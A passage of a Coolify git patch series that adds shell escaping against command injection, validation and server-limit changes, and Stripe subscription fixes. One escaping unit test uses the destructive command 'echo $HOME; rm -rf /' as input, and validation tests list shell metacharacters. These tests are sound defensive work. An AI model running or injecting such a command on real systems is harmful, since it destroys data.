+ 'X-GitHub-Hook-Installation-Target-Id' => '12345',
+ 'X-Hub-Signature-256' => 'sha256=fake',
+ ]);
+
+ // Should not be a 500 error - either 200 with "not supported" or "No GitHub App found"
+ $response->assertOk();
+ });
+});
From dac940807a88f5a236fbfd7923b1f1f336e3c43f Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 21:55:46 +0100
Subject: [PATCH 042/168] fix(deployment): properly escape shell arguments in
nixpacks commands
Add escapeShellValue() helper function to safely escape shell values by wrapping
them in single quotes and escaping embedded quotes. Use this function throughout
the nixpacks command building to prevent shell injection vulnerabilities when
passing user-provided build commands, start commands, and environment variables.
This fixes unsafe string concatenation that could allow command injection when
user input contains special shell characters like &&, |, ;, etc.
---
app/Jobs/ApplicationDeploymentJob.php | 14 +++--
bootstrap/helpers/docker.php | 5 ++
...plicationDeploymentNixpacksNullEnvTest.php | 24 ++++----
tests/Unit/EscapeShellValueTest.php | 57 +++++++++++++++++++
4 files changed, 82 insertions(+), 18 deletions(-)
create mode 100644 tests/Unit/EscapeShellValueTest.php
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index e30af5cc7..9d927d10c 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -2334,13 +2334,13 @@ private function nixpacks_build_cmd()
$this->generate_nixpacks_env_variables();
$nixpacks_command = "nixpacks plan -f json {$this->env_nixpacks_args}";
if ($this->application->build_command) {
- $nixpacks_command .= " --build-cmd \"{$this->application->build_command}\"";
+ $nixpacks_command .= ' --build-cmd '.escapeShellValue($this->application->build_command);
}
if ($this->application->start_command) {
- $nixpacks_command .= " --start-cmd \"{$this->application->start_command}\"";
+ $nixpacks_command .= ' --start-cmd '.escapeShellValue($this->application->start_command);
}
if ($this->application->install_command) {
- $nixpacks_command .= " --install-cmd \"{$this->application->install_command}\"";
+ $nixpacks_command .= ' --install-cmd '.escapeShellValue($this->application->install_command);
}
$nixpacks_command .= " {$this->workdir}";
@@ -2353,13 +2353,15 @@ private function generate_nixpacks_env_variables()
if ($this->pull_request_id === 0) {
foreach ($this->application->nixpacks_environment_variables as $env) {
if (! is_null($env->real_value) && $env->real_value !== '') {
- $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
+ $value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value;
+ $this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
}
}
} else {
foreach ($this->application->nixpacks_environment_variables_preview as $env) {
if (! is_null($env->real_value) && $env->real_value !== '') {
- $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
+ $value = ($env->is_literal || $env->is_multiline) ? trim($env->real_value, "'") : $env->real_value;
+ $this->env_nixpacks_args->push('--env '.escapeShellValue("{$env->key}={$value}"));
}
}
}
@@ -2369,7 +2371,7 @@ private function generate_nixpacks_env_variables()
$coolify_envs->each(function ($value, $key) {
// Only add environment variables with non-null and non-empty values
if (! is_null($value) && $value !== '') {
- $this->env_nixpacks_args->push("--env {$key}={$value}");
+ $this->env_nixpacks_args->push('--env '.escapeShellValue("{$key}={$value}"));
}
});
diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php
index 7b74392cf..5905ed3c1 100644
--- a/bootstrap/helpers/docker.php
+++ b/bootstrap/helpers/docker.php
@@ -137,6 +137,11 @@ function checkMinimumDockerEngineVersion($dockerVersion)
return $dockerVersion;
}
+function escapeShellValue(string $value): string
+{
+ return "'".str_replace("'", "'\\''", $value)."'";
+}
+
function executeInDocker(string $containerId, string $command)
{
$escapedCommand = str_replace("'", "'\\''", $command);
diff --git a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php
index c2a8d46fa..4c7ec9d9d 100644
--- a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php
+++ b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php
@@ -88,11 +88,11 @@
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
- // Verify that only valid environment variables are included
- expect($envArgs)->toContain('--env VALID_VAR=valid_value');
- expect($envArgs)->toContain('--env ANOTHER_VALID_VAR=another_value');
- expect($envArgs)->toContain('--env COOLIFY_FQDN=example.com');
- expect($envArgs)->toContain('--env SOURCE_COMMIT=abc123');
+ // Verify that only valid environment variables are included (values are now single-quote escaped)
+ expect($envArgs)->toContain("--env 'VALID_VAR=valid_value'");
+ expect($envArgs)->toContain("--env 'ANOTHER_VALID_VAR=another_value'");
+ expect($envArgs)->toContain("--env 'COOLIFY_FQDN=example.com'");
+ expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
// Verify that null and empty environment variables are filtered out
expect($envArgs)->not->toContain('NULL_VAR');
@@ -102,7 +102,7 @@
// Verify no environment variables end with just '=' (which indicates null/empty value)
expect($envArgs)->not->toMatch('/--env [A-Z_]+=$/');
- expect($envArgs)->not->toMatch('/--env [A-Z_]+= /');
+ expect($envArgs)->not->toMatch("/--env '[A-Z_]+='$/");
});
it('filters out null environment variables from nixpacks preview deployments', function () {
@@ -164,9 +164,9 @@
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
- // Verify that only valid environment variables are included
- expect($envArgs)->toContain('--env PREVIEW_VAR=preview_value');
- expect($envArgs)->toContain('--env COOLIFY_FQDN=preview.example.com');
+ // Verify that only valid environment variables are included (values are now single-quote escaped)
+ expect($envArgs)->toContain("--env 'PREVIEW_VAR=preview_value'");
+ expect($envArgs)->toContain("--env 'COOLIFY_FQDN=preview.example.com'");
// Verify that null environment variables are filtered out
expect($envArgs)->not->toContain('NULL_PREVIEW_VAR');
@@ -335,7 +335,7 @@
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
- // Verify that zero and false string values are preserved
- expect($envArgs)->toContain('--env ZERO_VALUE=0');
- expect($envArgs)->toContain('--env FALSE_VALUE=false');
+ // Verify that zero and false string values are preserved (values are now single-quote escaped)
+ expect($envArgs)->toContain("--env 'ZERO_VALUE=0'");
+ expect($envArgs)->toContain("--env 'FALSE_VALUE=false'");
});
diff --git a/tests/Unit/EscapeShellValueTest.php b/tests/Unit/EscapeShellValueTest.php
new file mode 100644
index 000000000..eed25e164
--- /dev/null
+++ b/tests/Unit/EscapeShellValueTest.php
@@ -0,0 +1,57 @@
+toBe("'hello'");
+});
+
+it('escapes single quotes in the value', function () {
+ expect(escapeShellValue("it's"))->toBe("'it'\\''s'");
+});
+
+it('handles empty string', function () {
+ expect(escapeShellValue(''))->toBe("''");
+});
+
+it('preserves && in a single-quoted value', function () {
+ $result = escapeShellValue('npx prisma generate && npm run build');
+ expect($result)->toBe("'npx prisma generate && npm run build'");
+});
+
+it('preserves special shell characters in value', function () {
+ $result = escapeShellValue('echo $HOME; rm -rf /');
+ expect($result)->toBe("'echo \$HOME; rm -rf /'");
+});
+
+it('handles value with double quotes', function () {
+ $result = escapeShellValue('say "hello"');
+ expect($result)->toBe("'say \"hello\"'");
+});
+
+it('produces correct output when passed through executeInDocker', function () {
+ // Simulate the exact issue from GitHub #9042:
+ // NIXPACKS_BUILD_CMD with chained && commands
+ $envValue = 'npx prisma generate && npx prisma db push && npm run build';
+ $escapedEnv = '--env '.escapeShellValue("NIXPACKS_BUILD_CMD={$envValue}");
+
+ $command = "nixpacks plan -f json {$escapedEnv} /app";
+ $dockerCmd = executeInDocker('test-container', $command);
+
+ // The && must NOT appear unquoted at the bash -c level
+ // The full docker command should properly nest the quoting
+ expect($dockerCmd)->toContain('NIXPACKS_BUILD_CMD=npx prisma generate && npx prisma db push && npm run build');
+ // Verify it's wrapped in docker exec bash -c
+ expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
+ expect($dockerCmd)->toEndWith("'");
+});
+
+it('produces correct output for build-cmd with chained commands through executeInDocker', function () {
+ $buildCmd = 'npx prisma generate && npm run build';
+ $escapedCmd = escapeShellValue($buildCmd);
+
+ $command = "nixpacks plan -f json --build-cmd {$escapedCmd} /app";
+ $dockerCmd = executeInDocker('test-container', $command);
+
+ // The build command value must remain intact inside the quoting
+ expect($dockerCmd)->toContain('npx prisma generate && npm run build');
+ expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
+});
From e37cb98c7c24e078a11cff92cd080578cd4ca08d Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 23 Mar 2026 21:56:50 +0100
Subject: [PATCH 043/168] refactor(team): make server limit methods accept
optional team parameter
Allow serverLimit() and serverLimitReached() to accept an optional team
parameter instead of relying solely on the current session. This improves
testability and makes the methods more flexible by allowing them to work
without session state.
Add comprehensive tests covering various scenarios including no session,
team at limit, and team under limit.
---
.../Controllers/Api/HetznerController.php | 3 +-
app/Models/Team.php | 19 ++++---
tests/Feature/TeamServerLimitTest.php | 53 +++++++++++++++++++
3 files changed, 68 insertions(+), 7 deletions(-)
create mode 100644 tests/Feature/TeamServerLimitTest.php
diff --git a/app/Http/Controllers/Api/HetznerController.php b/app/Http/Controllers/Api/HetznerController.php
index 2645c2df1..ed91b4475 100644
--- a/app/Http/Controllers/Api/HetznerController.php
+++ b/app/Http/Controllers/Api/HetznerController.php
@@ -586,7 +586,8 @@ public function createServer(Request $request)
}
// Check server limit
- if (Team::serverLimitReached()) {
+ $team = Team::find($teamId);
+ if (Team::serverLimitReached($team)) {
return response()->json(['message' => 'Server limit reached for your subscription.'], 400);
}
diff --git a/app/Models/Team.php b/app/Models/Team.php
index 10b22b4e1..639d50b60 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -89,10 +89,13 @@ protected static function booted()
});
}
- public static function serverLimitReached()
+ public static function serverLimitReached(?Team $team = null)
{
- $serverLimit = Team::serverLimit();
- $team = currentTeam();
+ $team = $team ?? currentTeam();
+ if (! $team) {
+ return true;
+ }
+ $serverLimit = Team::serverLimit($team);
$servers = $team->servers->count();
return $servers >= $serverLimit;
@@ -116,12 +119,16 @@ public function serverOverflow()
return false;
}
- public static function serverLimit()
+ public static function serverLimit(?Team $team = null)
{
- if (currentTeam()->id === 0 && isDev()) {
+ $team = $team ?? currentTeam();
+ if (! $team) {
+ return 0;
+ }
+ if ($team->id === 0 && isDev()) {
return 9999999;
}
- $team = Team::find(currentTeam()->id);
+ $team = Team::find($team->id);
if (! $team) {
return 0;
}
diff --git a/tests/Feature/TeamServerLimitTest.php b/tests/Feature/TeamServerLimitTest.php
new file mode 100644
index 000000000..11d7f09d1
--- /dev/null
+++ b/tests/Feature/TeamServerLimitTest.php
@@ -0,0 +1,53 @@
+set('constants.coolify.self_hosted', true);
+});
+
+it('returns server limit when team is passed directly without session', function () {
+ $team = Team::factory()->create();
+
+ $limit = Team::serverLimit($team);
+
+ // self_hosted returns 999999999999
+ expect($limit)->toBe(999999999999);
+});
+
+it('returns 0 when no team is provided and no session exists', function () {
+ $limit = Team::serverLimit();
+
+ expect($limit)->toBe(0);
+});
+
+it('returns true for serverLimitReached when no team and no session', function () {
+ $result = Team::serverLimitReached();
+
+ expect($result)->toBeTrue();
+});
+
+it('returns false for serverLimitReached when team has servers under limit', function () {
+ $team = Team::factory()->create();
+ Server::factory()->create(['team_id' => $team->id]);
+
+ $result = Team::serverLimitReached($team);
+
+ // self_hosted has very high limit, 1 server is well under
+ expect($result)->toBeFalse();
+});
+
+it('returns true for serverLimitReached when team has servers at limit', function () {
+ config()->set('constants.coolify.self_hosted', false);
+
+ $team = Team::factory()->create(['custom_server_limit' => 1]);
+ Server::factory()->create(['team_id' => $team->id]);
+
+ $result = Team::serverLimitReached($team);
+
+ expect($result)->toBeTrue();
+});
From ffd69c1b545078cc63982effdca81b6d861aada6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=F0=9F=8F=94=EF=B8=8F=20Peak?=
<122374094+peaklabs-dev@users.noreply.github.com>
Date: Mon, 23 Mar 2026 22:45:18 +0100
Subject: [PATCH 044/168] ci: update pr-quality.yaml
---
.github/workflows/pr-quality.yaml | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
diff --git a/.github/workflows/pr-quality.yaml b/.github/workflows/pr-quality.yaml
index 594724fdb..45a695ddc 100644
--- a/.github/workflows/pr-quality.yaml
+++ b/.github/workflows/pr-quality.yaml
@@ -40,7 +40,10 @@ jobs:
max-emoji-count: 2
max-code-references: 5
require-linked-issue: false
- blocked-terms: "STRAWBERRY"
+ blocked-terms: |
+ STRAWBERRY
+ 🤖 Generated with Claude Code
+ Generated with Claude Code
blocked-issue-numbers: 8154
# PR Template Checks
@@ -97,7 +100,7 @@ jobs:
exempt-pr-milestones: ""
# PR Success Actions
- success-add-pr-labels: "quality/verified"
+ success-add-pr-labels: ""
# PR Failure Actions
failure-remove-pr-labels: ""
From 988dd57cf4f30fcaee3df22f9500d13372ff791e Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 08:03:08 +0100
Subject: [PATCH 045/168] feat(validation): make hostname validation
case-insensitive and expand allowed characters
- Normalize hostnames to lowercase for RFC 1123 compliance while accepting uppercase input
- Expand NAME_PATTERN to allow parentheses, hash, comma, colon, and plus characters
- Add fallback to random name generation when application name doesn't meet minimum requirements
- Add comprehensive test coverage for validation patterns and edge cases
---
app/Rules/ValidHostname.php | 9 ++-
app/Support/ValidationPatterns.php | 4 +-
bootstrap/helpers/shared.php | 11 +++-
tests/Unit/ValidHostnameTest.php | 11 ++--
tests/Unit/ValidationPatternsTest.php | 82 +++++++++++++++++++++++++++
5 files changed, 106 insertions(+), 11 deletions(-)
create mode 100644 tests/Unit/ValidationPatternsTest.php
diff --git a/app/Rules/ValidHostname.php b/app/Rules/ValidHostname.php
index b6b2b8d32..89b68663b 100644
--- a/app/Rules/ValidHostname.php
+++ b/app/Rules/ValidHostname.php
@@ -62,12 +62,15 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
// Ignore errors when facades are not available (e.g., in unit tests)
}
- $fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
+ $fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
return;
}
}
+ // Normalize to lowercase for validation (RFC 1123 hostnames are case-insensitive)
+ $hostname = strtolower($hostname);
+
// Additional validation: hostname should not start or end with a dot
if (str_starts_with($hostname, '.') || str_ends_with($hostname, '.')) {
$fail('The :attribute cannot start or end with a dot.');
@@ -100,9 +103,9 @@ public function validate(string $attribute, mixed $value, Closure $fail): void
return;
}
- // Check if label contains only valid characters (lowercase letters, digits, hyphens)
+ // Check if label contains only valid characters (letters, digits, hyphens)
if (! preg_match('/^[a-z0-9-]+$/', $label)) {
- $fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
+ $fail('The :attribute contains invalid characters. Only letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.) are allowed.');
return;
}
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index fdf2b12a6..7b8251729 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -10,7 +10,7 @@ class ValidationPatterns
/**
* Pattern for names excluding all dangerous characters
*/
- public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u';
+ public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+$/u';
/**
* Pattern for descriptions excluding all dangerous characters with some additional allowed characters
@@ -96,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength =
public static function nameMessages(): array
{
return [
- 'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &',
+ 'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ & ( ) # , : +',
'name.min' => 'The name must be at least :min characters.',
'name.max' => 'The name may not be greater than :max characters.',
];
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index ce9ab5283..a8cffcaff 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -341,7 +341,16 @@ function generate_application_name(string $git_repository, string $git_branch, ?
$repo_name = str_contains($git_repository, '/') ? last(explode('/', $git_repository)) : $git_repository;
- return Str::kebab("$repo_name:$git_branch-$cuid");
+ $name = Str::kebab("$repo_name:$git_branch-$cuid");
+
+ // Strip characters not allowed by NAME_PATTERN
+ $name = preg_replace('/[^\p{L}\p{M}\p{N}\s\-_.@\/&()#,:+]+/u', '', $name);
+
+ if (empty($name) || mb_strlen($name) < 3) {
+ return generate_random_name($cuid);
+ }
+
+ return $name;
}
/**
diff --git a/tests/Unit/ValidHostnameTest.php b/tests/Unit/ValidHostnameTest.php
index 859262c3e..6580a7c5d 100644
--- a/tests/Unit/ValidHostnameTest.php
+++ b/tests/Unit/ValidHostnameTest.php
@@ -21,6 +21,8 @@
'subdomain' => 'web.app.example.com',
'max label length' => str_repeat('a', 63),
'max total length' => str_repeat('a', 63).'.'.str_repeat('b', 63).'.'.str_repeat('c', 63).'.'.str_repeat('d', 59),
+ 'uppercase hostname' => 'MyServer',
+ 'mixed case fqdn' => 'MyServer.Example.COM',
]);
it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $expectedError) {
@@ -36,8 +38,7 @@
expect($failCalled)->toBeTrue();
expect($errorMessage)->toContain($expectedError);
})->with([
- 'uppercase letters' => ['MyServer', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
- 'underscore' => ['my_server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'underscore' => ['my_server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
'starts with hyphen' => ['-myserver', 'cannot start or end with a hyphen'],
'ends with hyphen' => ['myserver-', 'cannot start or end with a hyphen'],
'starts with dot' => ['.myserver', 'cannot start or end with a dot'],
@@ -46,9 +47,9 @@
'too long total' => [str_repeat('a', 254), 'must not exceed 253 characters'],
'label too long' => [str_repeat('a', 64), 'must be 1-63 characters'],
'empty label' => ['my..server', 'consecutive dots'],
- 'special characters' => ['my@server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
- 'space' => ['my server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
- 'shell metacharacters' => ['my;server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'special characters' => ['my@server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'space' => ['my server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'shell metacharacters' => ['my;server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
]);
it('accepts empty hostname', function () {
diff --git a/tests/Unit/ValidationPatternsTest.php b/tests/Unit/ValidationPatternsTest.php
new file mode 100644
index 000000000..0da8f9a4d
--- /dev/null
+++ b/tests/Unit/ValidationPatternsTest.php
@@ -0,0 +1,82 @@
+toBe(1);
+})->with([
+ 'simple name' => 'My Server',
+ 'name with hyphen' => 'my-server',
+ 'name with underscore' => 'my_server',
+ 'name with dot' => 'my.server',
+ 'name with slash' => 'my/server',
+ 'name with at sign' => 'user@host',
+ 'name with ampersand' => 'Tom & Jerry',
+ 'name with parentheses' => 'My Server (Production)',
+ 'name with hash' => 'Server #1',
+ 'name with comma' => 'Server, v2',
+ 'name with colon' => 'Server: Production',
+ 'name with plus' => 'C++ App',
+ 'unicode name' => 'Ünïcödé Sërvér',
+ 'unicode chinese' => '我的服务器',
+ 'numeric name' => '12345',
+ 'complex name' => 'App #3 (staging): v2.1+hotfix',
+]);
+
+it('rejects names with dangerous characters', function (string $name) {
+ expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(0);
+})->with([
+ 'semicolon' => 'my;server',
+ 'pipe' => 'my|server',
+ 'dollar sign' => 'my$server',
+ 'backtick' => 'my`server',
+ 'backslash' => 'my\\server',
+ 'less than' => 'my 'my>server',
+ 'curly braces' => 'my{server}',
+ 'square brackets' => 'my[server]',
+ 'tilde' => 'my~server',
+ 'caret' => 'my^server',
+ 'question mark' => 'my?server',
+ 'percent' => 'my%server',
+ 'double quote' => 'my"server',
+ 'exclamation' => 'my!server',
+ 'asterisk' => 'my*server',
+]);
+
+it('generates nameRules with correct defaults', function () {
+ $rules = ValidationPatterns::nameRules();
+
+ expect($rules)->toContain('required')
+ ->toContain('string')
+ ->toContain('min:3')
+ ->toContain('max:255')
+ ->toContain('regex:'.ValidationPatterns::NAME_PATTERN);
+});
+
+it('generates nullable nameRules when not required', function () {
+ $rules = ValidationPatterns::nameRules(required: false);
+
+ expect($rules)->toContain('nullable')
+ ->not->toContain('required');
+});
+
+it('generates application names that comply with NAME_PATTERN', function (string $repo, string $branch) {
+ $name = generate_application_name($repo, $branch, 'testcuid');
+
+ expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
+})->with([
+ 'normal repo' => ['owner/my-app', 'main'],
+ 'repo with dots' => ['repo.with.dots', 'feat/branch'],
+ 'repo with plus' => ['C++ App', 'main'],
+ 'branch with parens' => ['my-app', 'fix(auth)-login'],
+ 'repo with exclamation' => ['my-app!', 'main'],
+ 'repo with brackets' => ['app[test]', 'develop'],
+]);
+
+it('falls back to random name when repo produces empty name', function () {
+ $name = generate_application_name('!!!', 'main', 'testcuid');
+
+ expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
+ ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
+});
From 520e048ed5b4c8d86f3b2cfc9024aaa5725a6743 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 08:08:57 +0100
Subject: [PATCH 046/168] refactor(team): update serverOverflow to use static
serverLimit
---
app/Models/Team.php | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/app/Models/Team.php b/app/Models/Team.php
index 639d50b60..5a7b377b6 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -112,7 +112,7 @@ public function subscriptionPastOverDue()
public function serverOverflow()
{
- if ($this->serverLimit() < $this->servers->count()) {
+ if (Team::serverLimit($this) < $this->servers->count()) {
return true;
}
From d3beeb2d000229868127400de2ac3867902414ae Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 10:52:41 +0100
Subject: [PATCH 047/168] fix(subscription): prevent duplicate subscriptions
with updateOrCreate
- Replace manual subscription create/update logic with updateOrCreate() and firstOrCreate() to eliminate race conditions
- Add validation in PricingPlans to prevent subscribing if team already has active subscription
- Improve error handling for missing team_id in customer.subscription.updated event
- Add tests verifying subscriptions are updated rather than duplicated
---
app/Jobs/StripeProcessJob.php | 51 ++++-------
app/Livewire/Subscription/PricingPlans.php | 6 ++
.../Subscription/StripeProcessJobTest.php | 87 +++++++++++++++++++
3 files changed, 111 insertions(+), 33 deletions(-)
diff --git a/app/Jobs/StripeProcessJob.php b/app/Jobs/StripeProcessJob.php
index f5d52f29c..3485ffe32 100644
--- a/app/Jobs/StripeProcessJob.php
+++ b/app/Jobs/StripeProcessJob.php
@@ -73,25 +73,15 @@ public function handle(): void
// send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}.");
throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}, subscriptionid: {$subscriptionId}.");
}
- $subscription = Subscription::where('team_id', $teamId)->first();
- if ($subscription) {
- // send_internal_notification('Old subscription activated for team: '.$teamId);
- $subscription->update([
+ Subscription::updateOrCreate(
+ ['team_id' => $teamId],
+ [
'stripe_subscription_id' => $subscriptionId,
'stripe_customer_id' => $customerId,
'stripe_invoice_paid' => true,
'stripe_past_due' => false,
- ]);
- } else {
- // send_internal_notification('New subscription for team: '.$teamId);
- Subscription::create([
- 'team_id' => $teamId,
- 'stripe_subscription_id' => $subscriptionId,
- 'stripe_customer_id' => $customerId,
- 'stripe_invoice_paid' => true,
- 'stripe_past_due' => false,
- ]);
- }
+ ]
+ );
break;
case 'invoice.paid':
$customerId = data_get($data, 'customer');
@@ -227,18 +217,14 @@ public function handle(): void
// send_internal_notification("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}.");
throw new \RuntimeException("User {$userId} is not an admin or owner of team {$team->id}, customerid: {$customerId}.");
}
- $subscription = Subscription::where('team_id', $teamId)->first();
- if ($subscription) {
- // send_internal_notification("Subscription already exists for team: {$teamId}");
- throw new \RuntimeException("Subscription already exists for team: {$teamId}");
- } else {
- Subscription::create([
- 'team_id' => $teamId,
+ Subscription::updateOrCreate(
+ ['team_id' => $teamId],
+ [
'stripe_subscription_id' => $subscriptionId,
'stripe_customer_id' => $customerId,
'stripe_invoice_paid' => false,
- ]);
- }
+ ]
+ );
break;
case 'customer.subscription.updated':
$teamId = data_get($data, 'metadata.team_id');
@@ -254,20 +240,19 @@ public function handle(): void
$subscription = Subscription::where('stripe_customer_id', $customerId)->first();
if (! $subscription) {
if ($status === 'incomplete_expired') {
- // send_internal_notification('Subscription incomplete expired');
throw new \RuntimeException('Subscription incomplete expired');
}
- if ($teamId) {
- $subscription = Subscription::create([
- 'team_id' => $teamId,
+ if (! $teamId) {
+ throw new \RuntimeException('No subscription and team id found');
+ }
+ $subscription = Subscription::firstOrCreate(
+ ['team_id' => $teamId],
+ [
'stripe_subscription_id' => $subscriptionId,
'stripe_customer_id' => $customerId,
'stripe_invoice_paid' => false,
- ]);
- } else {
- // send_internal_notification('No subscription and team id found');
- throw new \RuntimeException('No subscription and team id found');
- }
+ ]
+ );
}
$cancelAtPeriodEnd = data_get($data, 'cancel_at_period_end');
$feedback = data_get($data, 'cancellation_details.feedback');
diff --git a/app/Livewire/Subscription/PricingPlans.php b/app/Livewire/Subscription/PricingPlans.php
index 6b2d3fb36..6e1b85404 100644
--- a/app/Livewire/Subscription/PricingPlans.php
+++ b/app/Livewire/Subscription/PricingPlans.php
@@ -11,6 +11,12 @@ class PricingPlans extends Component
{
public function subscribeStripe($type)
{
+ if (currentTeam()->subscription?->stripe_invoice_paid) {
+ $this->dispatch('error', 'Team already has an active subscription.');
+
+ return;
+ }
+
Stripe::setApiKey(config('subscription.stripe_api_key'));
$priceId = match ($type) {
diff --git a/tests/Feature/Subscription/StripeProcessJobTest.php b/tests/Feature/Subscription/StripeProcessJobTest.php
index 95cff188a..0a93f858c 100644
--- a/tests/Feature/Subscription/StripeProcessJobTest.php
+++ b/tests/Feature/Subscription/StripeProcessJobTest.php
@@ -50,6 +50,93 @@
// Critical: stripe_invoice_paid must remain false — payment not yet confirmed
expect($subscription->stripe_invoice_paid)->toBeFalsy();
});
+
+ test('created event updates existing subscription instead of duplicating', function () {
+ Queue::fake();
+
+ Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_old',
+ 'stripe_customer_id' => 'cus_old',
+ 'stripe_invoice_paid' => true,
+ ]);
+
+ $event = [
+ 'type' => 'customer.subscription.created',
+ 'data' => [
+ 'object' => [
+ 'customer' => 'cus_new_123',
+ 'id' => 'sub_new_123',
+ 'metadata' => [
+ 'team_id' => $this->team->id,
+ 'user_id' => $this->user->id,
+ ],
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
+ $subscription = Subscription::where('team_id', $this->team->id)->first();
+ expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
+ expect($subscription->stripe_customer_id)->toBe('cus_new_123');
+ });
+});
+
+describe('checkout.session.completed', function () {
+ test('creates subscription for new team', function () {
+ Queue::fake();
+
+ $event = [
+ 'type' => 'checkout.session.completed',
+ 'data' => [
+ 'object' => [
+ 'client_reference_id' => $this->user->id.':'.$this->team->id,
+ 'subscription' => 'sub_checkout_123',
+ 'customer' => 'cus_checkout_123',
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ $subscription = Subscription::where('team_id', $this->team->id)->first();
+ expect($subscription)->not->toBeNull();
+ expect($subscription->stripe_invoice_paid)->toBeTruthy();
+ });
+
+ test('updates existing subscription instead of duplicating', function () {
+ Queue::fake();
+
+ Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_old',
+ 'stripe_customer_id' => 'cus_old',
+ 'stripe_invoice_paid' => false,
+ ]);
+
+ $event = [
+ 'type' => 'checkout.session.completed',
+ 'data' => [
+ 'object' => [
+ 'client_reference_id' => $this->user->id.':'.$this->team->id,
+ 'subscription' => 'sub_checkout_new',
+ 'customer' => 'cus_checkout_new',
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
+ $subscription = Subscription::where('team_id', $this->team->id)->first();
+ expect($subscription->stripe_subscription_id)->toBe('sub_checkout_new');
+ expect($subscription->stripe_invoice_paid)->toBeTruthy();
+ });
});
describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () {
From a980b1352f0e0c61f28c6c5ec680a902c82232d6 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Tue, 24 Mar 2026 11:48:04 +0100
